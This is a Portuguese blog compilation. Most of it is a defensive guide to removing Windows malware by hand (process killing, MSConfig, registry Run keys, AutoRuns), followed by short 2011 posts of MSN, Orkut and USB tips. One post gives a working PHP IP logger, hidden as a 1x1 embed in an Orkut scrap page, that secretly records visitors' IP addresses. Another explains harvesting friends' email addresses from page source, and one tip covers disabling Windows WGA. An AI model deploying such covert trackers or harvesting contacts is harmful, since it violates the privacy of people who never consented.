A falta de informação das pessoas aliada à falta de segurança do Windows traz sérios riscos, não é de hoje. Um programa com código malicioso executado no computador pode fazer coisas das mais terríveis. Tudo bem, isso já é do conhecimento de todos, mas de qualquer forma as pessoas precisam usar seus computadores, e estes devem estar livres de pragas.

Use antivírus. Use antispyware. Use firewall. Até que ponto isso é verdadeiro? Muita gente se surpreende comigo quando digo: eu não uso antivírus! Recuso-me até a morte (ou, quem sabe, até que um vírus me prove o contrário :). E não recomendo, sinceramente. Tudo fica mais lento. Mesmo em PCs atuais, sou meio contra a idéia de haver um programa tendo que monitorar todos os dados no meu computador em tempo real, em busca de um código malicioso. Isso é coisa para sistemas operacionais incompetentes.

O que não vem a ser totalmente o caso do Windows, pois quem está diante do sistema é uma pessoa. É a pessoa que deveria saber o que abrir, o que fazer e como agir. Ninguém nasce sabendo, então trago aqui algumas noções importantes para detectar e eliminar boa parte dos malwares que infectam o Windows. Além, é claro, de tentar conscientizar um pouco sobre medidas de segurança que boa parte das pessoas sabem - ou pelo menos já ouviram falar - mas não se dão ao trabalho de cumpri-las.

Fui infectado! E agora?

Esses dias entrou um malware no computador de uma amiga, daqueles que ficam enviando mensagens pelo MSN. Eles detectam a janela de conversa aberta e enviam comandos à mesma, fazendo com que um texto seja enviado para a pessoa com a qual a outra esteja conversando - como se tivesse sido digitada pela pessoa. Minha amiga estava com o nick "Tá enviando vírus, não clique!". E logo que abríamos a conversa normalmente vinham lá alguns dizeres "Olha as fotos que eu tirei com não sei quem, veja aqui..." seguido de um endereço de um site suspeito. Claro, clicando, mais uma pessoa seria infectada. Além disso, vai saber o que esse programinha não fazia nos bastidores. Hoje em dia roubar dados é a principal idéia dos malwares: senhas, contatos, tudo o que foi digitado. Foi-se o tempo em que vírus destruía para se exibir.

Numa seção de "exorcismo" virtual, ajudei essa amiga pelo MSN mesmo, de uma forma simples. Ela estava passando desesperada o AVG e um antispyware, e nada de eles detectarem a praga. Então lá fui eu. Pedi para ela abrir o gerenciador de tarefas do Windows na aba "Processos", e me enviar uma imagem da tela. Com base nisso eu chutaria alguns processos e mandaria ela fechar. E isso foi feito. O malware foi fechado. A segunda parte foi um pouco mais complicada para ela, mas nada tão doloroso: abrir o MSConfig e desativar a inicialização do maldito (eu procuraria diretamente no registro, mas ela iria se perder). Depois de reiniciado o PC, esse pelo menos já era. AVG 0 x 1 Eu!

Os malwares são programas como outros quaisquer. Na grande maioria das vezes, são programas que se configuram para iniciar junto com o Windows. E ficam fazendo sua ação. Seja enviar spam (usando o seu IP e a sua banda!), usar seu computador como servidor de um software P2P qualquer ou tentar capturar suas senhas.

Esses quase sempre podem ser removidos manualmente, usando programas simples de monitoramento. A idéia é: eles estão abertos, vamos fechá-los! E se eles se configuram para serem iniciados junto com o computador, vamos remover essa configuração. Alguns casos mais graves podem ocorrer, onde os vírus mais "poderosos" se infiltram dentro de arquivos do sistema, corrompendo-os. Aí a coisa complica, seria tarefa mais para um antivírus (agora sim, automatizada) mas normalmente dá para restaurar arquivos do sistema, caso os arquivos infectados sejam os nativos do Windows. Bem, vamos por partes...

Identificando e removendo um programa indesejado

Como no caso da minha amiga, usei uma idéia básica. Mas para isso, eu precisaria tentar chutar o programa a ser fechado, pelo nome do executável. Como saber? O Windows por si só carrega diversos programas em execução (processos) próprios, para uso do sistema. Cada programa aberto também será considerado um processo, e listado, portanto, no gerenciador de tarefas e os malwares também ficarão por ali.

A idéia é listar ou decorar os nomes dos programas do Windows que sempre se iniciam, mais aqueles que você usa e que se iniciam automaticamente também (como seu antivírus, o firewall, etc). Com base nisso, você pode ir tentando fechar os malwares. Na dúvida, uma dica é copiar o nome do programa e jogar no Google. Se for um malware conhecido, provavelmente você irá encontrar páginas (normalmente de fóruns) relatando-o. Aí não resta dúvida, basta fechá-lo.

Acontece que o gerenciador de tarefas do Windows pode ser facilmente corrompido ou modificado, e é possível que um programa nem apareça nele. Além disso, alguns malwares bloqueiam o gerenciador de tarefas (usando recursos do próprio Windows, por incrível que possa parecer!). Para uma pescagem mais profunda, vamos usar outro gerenciador de tarefas.

Um muito bom é o Process Explorer NT. Ele é da SysInternals, que foi comprada pela Microsoft. Eu pensava que seria descontinuado depois da compra, mas pelo contrário, foi até atualizado para trabalhar melhor no Windows Vista.

Baixe em:

http://www.microsoft.com/technet/sysinternals/utilities/ProcessExplorer.mspx

Ele lista todos os processos abertos e permite visualizar muitas informações sobre os mesmos. A listagem é hierárquica, ele mostra os processos e os processos que os originaram (o programa que abriu outro programa, numa linguagem mais clara). Clicando com o botão direito num item, pode-se matar o processo correspondente, fechando bruscamente o programa.

O fechamento dessa forma é essencial. Uma que os malwares normalmente não exibem janelas, não tem onde você clicar para fechar. Outra que, mesmo se exibissem, é diferente o comando que o sistema operacional envia ao programa para fechá-lo. Ao clicar no botão com o X numa janela, o Windows não necessariamente fecha o programa; ele diz ao programa que é para ser fechado. O programa pode fazer o que quiser, inclusive decidir se vai mesmo ser fechado ou não.

É isso que permite a um programa tomar a dianteira e exibir uma janela perguntando se você quer salvar um arquivo antes de fechá-lo, dando a opção de mantê-lo aberto, por exemplo. Se ele fosse fechado diretamente ao clicar no X, você perderia qualquer arquivo não salvo.

Aqui, o objetivo é justamente o contrário: fechar o programa "à força", "matar o processo", como se diz. O sistema operacional finaliza o programa e libera os recursos usados por ele (como a memória) sem notificá-lo. Algumas vezes complica um pouco, pois malwares mais elaborados podem manter duas instâncias de si mesmo, e se uma for fechada logo a outra detecta e a reabre. Mas com um pouco de paciência e prática, dá para se virar e tomar o controle. Afinal, o computador é seu, não do malware.

Esse Process Explorer NT permite até mesmo "pausar" um determinado programa, e continuá-lo depois. Estando "pausado", o programa continua aberto mas parece morto; por exemplo, esse que envia mensagens pelo MSN, não enviaria enquanto estivesse pausado. Essas ações são feitas ao clicar com o botão direito no processo, dentro do Process Explorer NT.

Pode ocorrer de você fechar um programa inofensivo realmente, por desconhecer o nome dele. Normalmente isso não lhe trará problema algum, bastará reabrir o programa que foi fechado depois. Tome o cuidado de não manter arquivos abertos ou documentos não salvos enquanto fecha os programas suspeitos, e também evite fazer isso conectado à Internet. Simples: você pode fechar seu firewall sem querer e continuar por horas navegando - sem perceber que abriu as portas do seu computador para o mundo.

Bem, fechado o programa, você pode excluir o arquivo correspondente a ele. Tome cuidado aqui, para não excluir um arquivo errado, do sistema ou de outro programa bom que você use. Antes de excluir é bom pesquisar na Internet pelo nome do executável, ou então movê-lo para uma outra pasta, ou mesmo renomeá-lo com outra extensão (por exemplo, "coisax.exe" viraria "coisax.123").

Para excluir, você deverá saber onde se encontra o arquivo. A maioria dos spywares são instalados na pasta "system32" (creio que escolhem essa por ser uma pasta de sistema, que ainda por cima contém muitos arquivos), assim fica difícil encontrar "suspeitos" apenas olhando lá dentro. Uma dica é usar a pesquisa do sistema operacional, aquele "Pesquisar" do Iniciar, jogando o nome do arquivo desejado. Nessa tarefa, algumas configurações do Windows acabam atrapalhando. Para ficar mais seguro para você, altere estas opções:

Na guia "Modos de exibição" das opções de pasta (menu "Ferramentas > Opções de pasta", do Windows Explorer), marque o item "Mostrar todos os arquivos" na categoria "Arquivos ocultos". E desmarque o "Ocultar arquivos protegidos do sistema operacional". Ainda ali, desmarque a opção que oculta as extensões dos arquivos. Depois disso, basta tomar cuidado ao renomear seus arquivos, onde você deverá digitar o nome junto com a extensão, e não apague alguns arquivos que "aparecerão" na unidade C:, como boot.ini, ntldr, etc. Esses arquivos são do sistema e ficam ocultos por padrão. Pedi para exibi-los pois assim ele não ocultará os outros arquivos, facilitando a localização dos malwares, inclusive usando o "Pesquisar".

O "Pesquisar" do Windows XP veio para facilitar para usuários iniciantes. Para pesquisar arquivos ocultos em pastas do sistema, usando regras de pesquisa (máscaras) e opções avançadas, é terrível, ficou muito ruim. O ideal é voltar para a pesquisa clássica, igual à do Windows 2000/Me. Veja como fazer isso aqui:

http://janelasepinguins.blogspot.com/2005/12/deixando-o-pesquisar-do-windows-xp2003.html

(envolve edição do registro)

Pronto. Agora ficou mais fácil localizar o arquivo no disco e excluí-lo. Quase sempre os spywares estarão dentro da pasta system32, ou pelo menos na pasta do Windows. Mande pesquisar na pasta "C:windows" incluindo subpastas; caso não o encontre ali, mande buscar então em todos os discos rígidos locais. Pesquisando apenas na pasta do Windows a pesquisa será mais rápida, já que o buscador não terá que vasculhar todo o seu HD :)

Fechado o programa, excluído o arquivo, agora falta remover o ponto de entrada de inicialização, que faz com que o programa seja carregado durante o boot do sistema. Os programas que se iniciam junto com o computador podem ficar configurados em alguns lugares diferentes no Windows. Uma forma básica de ver isso é usar o MSConfig, programinha que já vem com o Windows (exceto NT e 2000) e que lista os programas abertos. Clique no "Iniciar > Executar", digite msconfig e tecle enter. Na aba "Inicializar", localize os itens desejados e desmarque o suposto malware. Depois de desmarcado, clique em Aplicar > OK. Ele pedirá para reiniciar o computador, fica a seu critério reiniciar no momento ou depois.

Dica: desativando outros itens desnecessários pelo MSConfig também, fará com que o computador inicie um pouco mais rápido e use menos memória; mas cuidado para não desativar programas importantes, como o firewall, antivírus (se você usar), etc.

Importante: sempre remova a entrada de inicialização do programa com ele fechado. Se você não fizer isso, alguns programas ficam regravando as chaves no registro enquanto estão abertos, justamente para que se você remova, logo eles regravam e serão inicializados depois, na maior cara de pau. Com eles fechados, simplesmente não têm como regravar.

Nem sempre será fácil remover programas indesejados dessa forma, mas boa parte deles podem ser removidos assim, por incrível que possa parecer :)

Outra dica é iniciar o computador limpo, sem spywares, e anotar os nomes dos programas que se iniciam automaticamente (seja pelo Process Explorer NT ou pelo próprio gerenciador de tarefas). Boa sorte :)

Outras formas de detectar programas que se iniciam automaticamente

Há diversas formas. As mais comuns são pelas chaves do registro:

HKEY_LOCAL_MACHINE > Software > Microsoft > Windows > CurrentVersion > Run
HKEY_LOCAL_MACHINE > Software > Microsoft > Windows > CurrentVersion > RunOnce
HKEY_CURRENT_USER > Software > Microsoft > Windows > CurrentVersion > Run
HKEY_CURRENT_USER > Software > Microsoft > Windows > CurrentVersion > RunOnce

Mas há também a pasta "Inicializar" no menu "Iniciar > Programas". Alguns programas criam entradas ali, para esta é mais fácil: basta excluir o atalho. Clique em "Iniciar > Programas > Inicializar"; depois, clique com o botão direito no item desejado (se houver) e mande excluir.

Para as chaves do registro... Se você não mexe muito com o registro, cuidado: não saia fuçando em tudo. Exclua apenas entradas que você tenha certeza que podem ser excluídas, pois editar incorretamente o registro pode fazer com que o Windows nem seja iniciado - claro que isso poderá ser corrigido, mas poderá não ser tão fácil.

Nota: o "registro", caso você não saiba, é um banco de dados de configurações usado pelo Windows e por diversos programas. O "editor do registro", programa "regedit", é uma interface que vem com o Windows que permite modificar as configurações gravadas no registro. O termo "registro" aqui não tem nada a ver com cadastro ou pagamento :p

Abra o editor do registro ("Iniciar > Executar" > digite regedit e dê OK). Ele tem o visual parecido com o do Windows Explorer, tratando as chaves do registro como se fossem "pastinhas". À esquerda, localize as chaves e subchaves conforme indicam as setas nos caminhos indicados mais acima, até chegar na "Run" ou "RunOnce". À direita são listadas as entradas referentes à chave selecionada à esquerda, que no caso, correspondem aos programas que se iniciam automaticamente com o computador. Selecione o do malware e delete, usando a tecla Del mesmo do teclado. Como falei, cuidado ao fazer isso; se não se sentir seguro, prefira usar o MSConfig ou esse outro programa que indicarei agora.

Também da SysInternals (agora Microsoft) um bom software é o AutoRuns. Ele lista praticamente tudo o que se inicializa com o Windows, incluindo muitos itens não exibidos pelo MSConfig. Veja:

Baixe-o em:

http://www.microsoft.com/technet/sysinternals/Utilities/AutoRuns.mspx

Ele é composto por várias abas de categorias. Com ele você pode desmarcar os itens e remarcá-los depois, caso se arrependa. Mas ainda assim, tome o cuidado de não desmarcar itens à toa, pois vários, "muitos" na verdade, correspondem a componentes essenciais do Windows. Por meio dele pode-se desativar extensões do Explorer, do logon, do IE, drivers de dispositivos e outros componentes. Ele é muito importante, deveria vir de fábrica com o Windows.

Comentário: é possível desativar também aquele WGA, que exibia notificações em Windows não originais; bastando desmarcar o ponto que carregava o WGA, no processo de logon do Windows, e a seguir deletando os arquivos do WGA do HD.

Tanto o Process Explorer como o AutoRuns são gratuitos e não precisam ser instalados, eles rodam diretamente, sendo muito úteis para fazer parte da mala de ferramentas dos técnicos Windows.

Windows bloqueado?

Alguns spywares e malwares em geral desativam componentes do Windows, usando recursos do próprio sistema.

Isso é possível porque o Windows foi projetado para suportar diretivas de empresas e grupos, onde os funcionários podem usar os computadores, mas não alterar configurações. Alguns spywares dão uma de "administradores" no seu sistema, bloqueando diversas coisas. Entre as mais visadas estão o bloqueio da página inicial do Internet Explorer, a edição do registro pelo regedit, de forma que você não consegue abri-lo nem usar os arquivos ".reg", e em alguns casos, bloqueiam até o gerenciador de tarefas, para evitar que sejam fechados (aqui usar o Process Explorer NT normalmente resolve).

Esses bloqueios são feitos pelo registro, e caso você não possa abrir o regedit, e/ou se quiser remover diversos bloqueios de uma vez, recomendo um software meu mesmo: o AntiPolicy. Basta abri-lo, clicar na aba "AntiPolicy" e então no botão "Remover bloqueios...".

Quase todos esses bloqueios serão liberados de imediato, alguns só no recarregamento do Explorer (no próximo logon, por exemplo). Vale a dica: primeiro, feche os malwares e certifique-se de que não estejam marcados para inicializar depois, pois eles poderão restaurar os bloqueios se forem abertos.

Download do AntiPolicy:

http://www.mephost.com/software/antipolicy.htm

Esse programa ainda permite fechar bruscamente processos também, servindo como um gerenciador de processos alternativo. Enquanto que o gerenciador de tarefas do Windows e o Process Explorer NT listam os processos pelo nome do executável, o AntiPolicy lista pelos nomes das classes de janelas. A maioria dos spywares não têm janelas visíveis, mas têm janelas ou pelo menos controles que não ficam visíveis mas são listados. No AntiPolicy, você pode fechar qualquer programa, pela aba "Visíveis" (os que estão rodando na barra de tarefas ou em uma janela) ou "Ocultos" (os que rodam sem ser exibidos, que vem a ser o caso da maioria dos malwares). Vale o cuidado de testar e ficar atento, pois você poderá fechar programas bons sem saber o nome da classe.

Diversos spywares usam nomes com XXX alguma coisa (referentes à pornografia), hk (da palavra "hacker"), ou somente números. Mas não há regras, você terá que caçar um pouco, e qualquer coisa, o Google está à disposição para nos ajudar (bem indiretamente, claro).

O Windows é seguro?

Até aqui vimos como tentar remover pragas que já foram instaladas. Mas... O melhor é prevenir, não remediar, não é? É melhor andar pela sombra do que ficar com dor de cabeça, é melhor usar blusa e guarda chuva do que pegar um resfriado. Vamos a algumas dicas então, que a maioria acha que todo mundo já está careca de saber (mas infelizmente, não é bem assim).

Use conta limitada (não de administrador) no dia-a-dia se puder, e mantenha o HD formatado em NTFS. Mais informações sobre o NTFS e a segurança aos arquivos podem ser vistas neste outro texto meu aqui no GdH:

http://www.guiadohardware.net/dicas/sistema-ntfs.html

Usar o Windows com conta limitada em partições NTFS é muito mais seguro, apesar de não ser agradável para o uso de alguns programas. Navegando assim, os malwares não poderão se instalar em pastas do sistema (como a system32, dentro da pasta do Windows) e não afetarão as outras contas de usuário, caso haja outros perfis no mesmo PC. É possível também rodar o IE (ou outro programa qualquer) como administrador, porém, sem direitos administrativos. Veja como no final desse outro texto:

http://www.guiadohardware.net/artigos/reparando-ie/

Use um firewall. O do Windows XP SP2 é muito ruim (que me perdoe a Microsoft). De que adianta o sistema vir com um firewall se você deve desativá-lo e instalar outro, para mais proteção? Isso porque é um fato, o do XP SP2 protege contra invasões vindas da Internet, ou seja, protege contra acessos entrantes. Se um programa no seu PC tentar enviar um comando ou arquivo para a Internet, ele deixa (só bloqueia e alerta caso o programa tente ficar aberto em determinada porta, como um servidor, à espera de conexões entrantes).

Isso é ruim no caso de spywares: eles podem enviar dados (seus dados, suas senhas capturadas, por exemplo) sem que você tome conhecimento. O ideal é instalar um firewall de terceiros, que proteja o computador tanto de conexões de entrada como de saída, dando a possibilidade de você decidir se elas devem ser liberadas ou não. Um que tem versão gratuita e é muito usado é o ZoneAlarm. O Comodo também é bom e possui versão gratuita.

Como saber se o sistema está infectado? Se aparentemente seu computador funciona normal, e você quer saber se ele está infectado, pode valer a pena rodar um anti-spyware (como o SpyBot) ou até mesmo um antivírus, mandando fazer uma varredura completa. Aqui usamos os programas para aproveitar o tempo de processamento do computador, sua agilidade em comparar informações, em varrer vários arquivos e chaves do registro em busca de spywares conhecidos, etc. Usar um antivírus residente é o que eu não recomendo, pelo menos não uso, por ser definitivamente um item inútil (desde que você tome todos os devidos cuidados e outros). Não é para seguir uma receita, são um conjunto de atitudes que podem mudar isso. Se você se sentir mais seguro, fique com seu antivírus.

Além de usar programas de detecção, vale curiar no gerenciador de tarefas de tempos em tempos (dica: use o Process Explorer NT, que é bem melhor), no MSConfig, e ver se nada de estranho ou novo aparece por ali, sem que você tenha instalado.

Quer segurança? Cuide-se você. Eu não uso antivírus, continuo batendo o pé. Se você for firme nos seus atos, poderá não usar também. Basta manter o Windows atualizado, um firewall ativo (isso é essencial!) e o principal: não sair executando qualquer porcaria que chegue por email, não instalar controles Active-X no IE de sites suspeitos, não instalar qualquer barra de ferramentas no IE (elas atuam como programas, podendo fazer o que quiser!), não baixar anexos de emails suspeitos, sempre confirmar com quem lhe enviou antes de abrir um link de algum arquivo executável para baixar (principalmente se for de extensão .exe, .com, .bat, .cmd, .scr, .pif), etc.

Na sugestão de configuração mais acima, pedi para mostrar todas as extensões. Isso pode parecer ruim num primeiro momento para usuários básicos, mas permite que você identifique melhor o arquivo. Alguns mal intencionados colocam duas extensões nos arquivos, por exemplo, foto.jpg.exe. A última é a que vale: "foto.jpg.exe" é um programa, não uma imagem. Se as extensões não fossem mostradas, o Windows exibiria apenas "foto.jpg", e os mais inocentes poderiam abrir, rodando o malware. Com elas sendo mostradas você sempre verá a extensão real. Se você der um duplo clique num malware ou vírus, estará autorizando a execução dele no computador, estará fazendo justamente o que o autor dele quis.

Não é que o Windows seja inseguro (mas claro que não é a melhor coisa em termos de segurança também, está muito longe disso ;), é a falta de informação e conhecimento dos usuários que o torna assim.

O Windows Vista não tem grandes mudanças estruturais com relação ao XP. Vendo-o e acompanhando a história do Windows, às vezes penso: "Puxa vida, estragaram o NT...". O que mais se destaca no Vista em termos de segurança - e que ao mesmo tempo mais irrita os usuários, tanto é que boa parte opta por desativar - são as confirmações pedidas ao usuário para diversas tarefas e ações.

Você é o dono do seu computador, você decide o que quer rodar nele. Se você rodar porcaria, o Windows não tem culpa, ele irá executar a porcaria que você autorizou! O Vista pede muita confirmação, tudo bem, com isso você pode ver que se o usuário desse menos mole, teria seu Windows funcionando por muito mais tempo. Não estamos falando aqui de falhas do sistema (que quase todo software possui), mas sim de programas do mal em geral.

De nada adianta você ter saúde e andar seguro se alguém lhe assaltar na rua e te jogar no chão. Você vai cair, não vai? Quando programas do mal tentam invadir o Windows, a maior brecha está no usuário, não no sistema. Cuide-se! (Eu continuo sem antivírus ;).

Evitando Virus no PenDriver .

2011-03-23T05:28:00.000-07:00

1º abra o Windows explorer e clique com o botão direito do mouse sobre a letra q corresponde ao seu pen drive

2º escolha a opção formatar e marque a opção formatação rápida no pen drive infectado;

3º clique em iniciar executar e digite : convert F: /fs:ntfs
Lembrando q F: seria a letra do seu pen drive, então substitua pela letra q corresponde seu pen drive

5º crie uma pasta onde vai guardar seus arquivos

6º no menu ferramentas/opções de pasta… clique na aba modos de exibição e arraste a barrinha q tem no meio da janela até o final e desmarque a opção usar compartilhamento simples de arquivo e clique em ok;

7º volte ao seu pen drive e com o botão direito do mouse sobre a letra do seu pen drive e escolha a opção compartilhamento e segurança clique na aba segurança e remova todos os compartilhamentos existes, em seguida clique no botão adicionar vai abrir outra telinha digite todos e clique ok, daí vai voltar pra tela anterior, deixe selecionada somente a opção de permitir leitura;

7º no seu pen drive e clique com o botão direito do mouse sobre a pasta q vc criou dentro do pen drive e escolha a opção compartilhamento e segurança clique na aba segurança e selecione todas as opções de permitir e clique em ok;

8º clique novamente com o botão direito do mouse sobre a letra do seu pen drive e escolha a opção compartilhamento e segurança clique na aba segurança e remova todos os compartilhamentos existes, em seguida clique no botão adicionar vai abrir outra telinha digite todos e clique ok, daí vai voltar pra tela anterior, deixe selecionada somente a opção de permitir leitura;

Resumindo: O q vc acabou de fazer?
Vc pegou seu pen drive q era em fat32,
transformou pra sistema de arquivos NTFS, onde liberou a pasta q criou dentro do seu pen drive pra acesso total e bloqueou a raíz do seu pen drive pra somente leitura.
Fazendo isso impediu q qualquer coisa seja copiada pra raiz do seu pen drive, so pode ser copiado algum arquivo pra dentro da pasta criada no pen drive.
Como os vírus q atacam o pen drive comumente rodam diretamente na raíz do pen drive torna quase impossível um vírus se Auto copiar pra raiz do pen drive, pelas limitações q vc acabou de criar.

Aumente sua foto no MSN .!

2011-03-22T14:28:00.001-07:00

http://www.baixaki.com.br/download/manycam-virtual-webcam.htm
2º passo instale
3º passo : abra o Manycam , desmarque o " ✔ " do "Show Manycam logo
print :http://images.orkut.com/orkut/photos/OQAAAAvE4TLGfoqvkSN7pcwf26t34utSjHwuh7LOSl_n17ErPmkFtdpvkhOSd3hyKf7LHTDrytcGz9nqvbO9kXp31V0Am1T1UImBGFsoV-1_JT4O2m_uf1bifuJe.jpg
4º passo : agora vai la na Barra Sources la em cima , pros cegos que nao acharam olhem o print :http://images.orkut.com/orkut/photos/OQAAAKXtYjdqBB0O3VDqLIPC4FZ-FvsHZoOs6t7hBDyCkahu2M65jTWOJbUjCZd2CGLQIkj-5nlzNIBKBtXIAMmpXyQAm1T1UOy76c78M6NfkTuB1E4oCqhfUi4O.jpg
5º passo : clica ali no menu " Still images" mostrado no print acima ^
6 º passo : ali em baixo você vai ver " Recents files " clique em "Open new file e escolha a imagem que vc quer colocar
7º passo : vai no seu msn , na parte que vc troca a foto , print : http://images.orkut.com/orkut/photos/OgAAADPOeh87EWdGrQTSJbMdxFUK2N-FqPX58cKCcjld-CCrWwoaZVyhx2-AvrlBkagY6qRyhPKJ_in4cJRTZwnWI7UAm1T1UArDQze_dwh7ibFFWOvkv7yUbNhG.jpg
8º passo : clica la em Imagem dinâmica ... , ira aparecer uma caixa la com essas opçoes fotos ou gif , gif para se vc quiser que sua foto fique em movimento no msn (dooe)
9º passo : clique em foto , se for uma foto , ou em video se for um gif ( claro ) , e aparte em concluido , pronto sua foto ja ta grande

Pegar IP pelo Orkut . !

2011-03-22T14:26:00.001-07:00

Para pegar o IP pleo orkut de quem entra na sua página de recados é simples !

Vc copia esse código e cola no bloco de notas

____________________________________________

<?

$ip = $_SERVER['REMOTE_ADDR']. "\n";

$fp = fopen("Bruttus.txt", "a");
fputs ($fp, "IP BY C:\>Bruttus.bat: $ip");
fclose($fp);
?>
____________________________________________

E salva em qualquer coisa.php

E lá em baixo coloca TODOS OS ARQUIVOS !

Após isso v6 vão hospedar esse código no www.110mb.com

Após ter hospedado vc vão por o seu link nesse código aqui

<embed src="/SEU_LINK"height="1" width="1">

Aí vc copia e põe lá na sua pág de recados !

No 110mb vc clica em Return back to main menu

Aí clica em :http://seu NOME.110mb.com

Nele, se vc não mudou lá o código vc vai colocar Bruttus.txt

Vai ficar assim

http://seu NOME.110mb.com/Bruttus.txt

Pronto os IPS vão aparecer aí !

Envie depoimento pra vc mesmo ..

2011-03-22T14:24:00.001-07:00

Galera vou ensinar como mandar depoimento para si mesmo, sem o uso de programas e javascript.
-
1º Vá em iniciar e no canto inferior esquerdo terá "convidar amigos" coloque qualquer e-mail lá. ex: ( qualquermerda@hotmail.com)
-
2º Depois vá em http://www.orkut.com.br/Main#ShowFriends e do lado do e-mail que você acabou de mandar terá "editar" clique em editar e no campo do e-mail que no caso está qualquermerda@hotmail.com você coloca o seu e clique em atualizar.
-
3º Clique em sair e entre denovo no seu orkut. seu convite estara lá mas não da para aceitar ainda.
-
4º Repita todo o proscedimento acima novamente (colocar e-mail em "convidar amigos",colocar o seu e-mail emhttp://www.orkut.com.br/Main#ShowFriends, sair e entrar no orkut).
-
Pronto você se add no orkut agora é so mandar o depoimento:
http://www.orkut.com.br/Main#TestimonialWrite

Crie MSN com dominios de outros Paises .!

2011-03-22T14:22:00.001-07:00

Pegue o endereço https://signup.live.com/signup.aspx?mkt=pt-BR e mude o final (pt-BR) para o que quiser !
Ex: https://signup.live.com/signup.aspx?mkt=ar-XA
Domínios:
Arabic - windowslive.com ar-XA
Argentina - live.com.ar es-AR
Australia - live.com.au en-AU
Austria - live.at de-AT
Belgium - live.be fr-BE
Canada - live.ca en-CA
Chile - live.cl es-CL
China - live.cn zh-chs-cn
Denmark - live.dk da-DK
Finland - windowslive.com fi-FI
France - live.fr or hotmail.fr fr-FR
Germany - live.de or hotmail.de de-DE
Hong Kong - live.hk zh-cht-hk
Indonesia - windowslive.com en-ID
Ireland - live.ie en-IE
Italy - live.it or hotmail.it it-IT
Japan - live.jp or hotmail.co.jp ja-JP
Korea - live.co.kr ko-KR
Malaysia - live.com.my en-MY
Mexico - live.com.mx es-MX
Netherlands live.nl nl-NL
Norway - live.no nb-NO
Pakistan - live.com.pk registration link unavailable)
Peru - live.com.pe registration link unavailable)
Portugal - live.com.pt registration page URL in pt-PT language locale)
Russia - live.ru ru-RU
Singapore - live.com.sg en-SG
South Africa - live.co.za en-ZA
Sweden - live.se sv-SE
Switzerland - windowslive.com fr-CH
Thailand - windowslive.com th-TH
Turkey - windowslive.com tr-TR
UK - live.com.uk or hotmail.co.uk en-GB
USA - live.com en-US
USA Spanish) - live.com es-US

Total de Usuarios Online no subnick do MSN .

2011-03-22T14:21:00.000-07:00

Esta funcionalidade chama-se PSM Live Status e para quem tem o programa Plus este script e fantástico! Ela adiciona em seu sub-nick do mensseger um status com o total de contactos online e offine no seu mensseger, quantas janelas estão abertas e com quem está conversando…

Após fazer o download e ter salvo no seu PC basta clicar no arquivo que aparecerá uma janela com o nome do script, marque a opção “Eu aceito a responsabilidade da instalação de Script” e clique em importar como está na imagem abaixo em meu teste:

Feito! Agora seu mensseger terá como sub-nick! Eu já uso este script! Simplesmente fantástico.

A pedido de varios Leitores aqui está como desabilitar o script:

(clique nas imagens para ampliar)

Clique no botão indicado na imagem:

E depois escolha a opcção “desactiva PSM Live Status” conforme indicado na imagem.

Pegar email dos Amigos no Orkut . !

2011-03-22T14:17:00.001-07:00

Primeiramente baixe o navegador Firefox, e depois mude para a versão antiga do Orkut, logo depois siga os passos abaixo:

1) Clique no meu "Amigos" no Orkut

2) Escolha visualmente o perfil que voce deseja pegar o email

3) Selecione com o mouse desde o Nome do Perfil até o País dela

4) Clique com o botao direito em cima desta seleção e escolhe "Código fonte da seleção"

5) Aperte CTRL + F e digite @

6) Pronto! Este é o email do profile desejado

Bloquear Orkut e MSN através do arquivo Hosts

2011-03-22T14:15:00.001-07:00

O roteador ofereceu-me recursos pobríssimos de bloqueio… Só pra você saber, o modelo dele é um Linksys Compact. Funciona muito bem para o básico, mas, opte por outro modelo caso você deseje ter maior controle sobre serviços secundários, como bloqueio de portas e etc. Bem, pode ser que eu seja burro também e não achei uma forma fácil de saciar a minha necessidade… fica aí a dica, anyway

Após dar uma boa pescada através do Google Lake pra saber o que há de mais moderno por aí em questão de bloqueio de sites e softwares, achei alguns artigos interessantes que apontavam o próprio arquivo “hosts” do Windows como solução para o bloqueio dos nomes de domínios relacionados ao assunto a ser bloqueado - no meu caso, orkut e msn.

Este arquivo é tão simples como uma pedra. Você coloca o IP de destino que o host tal.com vai alcançar quando for requisitado por qualquer aplicação - o que inclui Instant Messengers, Web Browsers e outros clients como o AudioScrobbler do Last.fm. Por exemplo:

127.0.0.1 gateway.messenger.hotmail.com

…desta forma, impede-se o MSN Messenger de conseguir fazer o login na rede. Talvez, você tenha que colocar até alguns outros redirecionamentos de hosts, como:

127.0.0.1 gateway.messenger.hotmail.com
127.0.0.1 gtwy.messenger.hotmail.com
127.0.0.1 messenger.hotmail.com
127.0.0.1 svcs.microsoft.com

E por aí vai… Repete-se o mesmo procedimento para Orkut, Web-messengers e Proxy Tunnels.

Para fazer isso funcionar, siga estes passos:

Abra com o notepad o arquivo HOSTS (sem extensão mesmo) que está no diretório \WINDOWS\system32\drivers\etc
Faça uma cópia de Backup do mesmo em Save As…
Cole, no original, toda a lista que te interessar a seguir:

# orkut
127.0.0.1 orkut.com
127.0.0.1 www.orkut.com
127.0.0.1 images.orkut.com
127.0.0.1 www.powerscrap.com
127.0.0.1 powerscrap.com
127.0.0.1 rss.powerscrap.com
127.0.0.1 www.ocurioso.com
127.0.0.1 ocurioso.com
127.0.0.1 orkut.etc.br

# messenger
127.0.0.1 gateway.messenger.hotmail.com
127.0.0.1 www.msn.com
127.0.0.1 msn.com
127.0.0.1 gateway.messenger.hotmail.com
127.0.0.1 gtwy.messenger.hotmail.com
127.0.0.1 messenger.hotmail.com
127.0.0.1 svcs.microsoft.com
127.0.0.1 webmessenger.msn.com
127.0.0.1 kickme.to/msnmessenger2go
127.0.0.1 iloveim.com
127.0.0.1 e-messenger.net
127.0.0.1 atlanta.e-messenger.net
127.0.0.1 boston.e-messenger.net
127.0.0.1 msn2go.com
127.0.0.1 msn2go.com.br
127.0.0.1 piglet-im.com
127.0.0.1 webmsn.net
127.0.0.1 e-messenger.cl
127.0.0.1 passaport.netport.net
127.0.0.1 wwwl.meebo.com
127.0.0.1 meebo.com
127.0.0.1 www.meebo.com
127.0.0.1 ebuddy.com
127.0.0.1 www.ebuddy.com
127.0.0.1 www.messemgerfx.com
127.0.0.1 messemgerfx.com
127.0.0.1 69.36.226.110
127.0.0.1 69.36.226.150
127.0.0.1 69.36.226.175
127.0.0.1 69.36.226.189
127.0.0.1 64.92.172.107
127.0.0.1 216.129.112.85
127.0.0.1 216.129.112.86
127.0.0.1 216.129.112.116
127.0.0.1 www.meebo.com.br
127.0.0.1 meebo.com.br
127.0.0.1 chicago.e-messenger.net
127.0.0.1 vicotria.e-messenger.net
127.0.0.1 msn2go.com.br

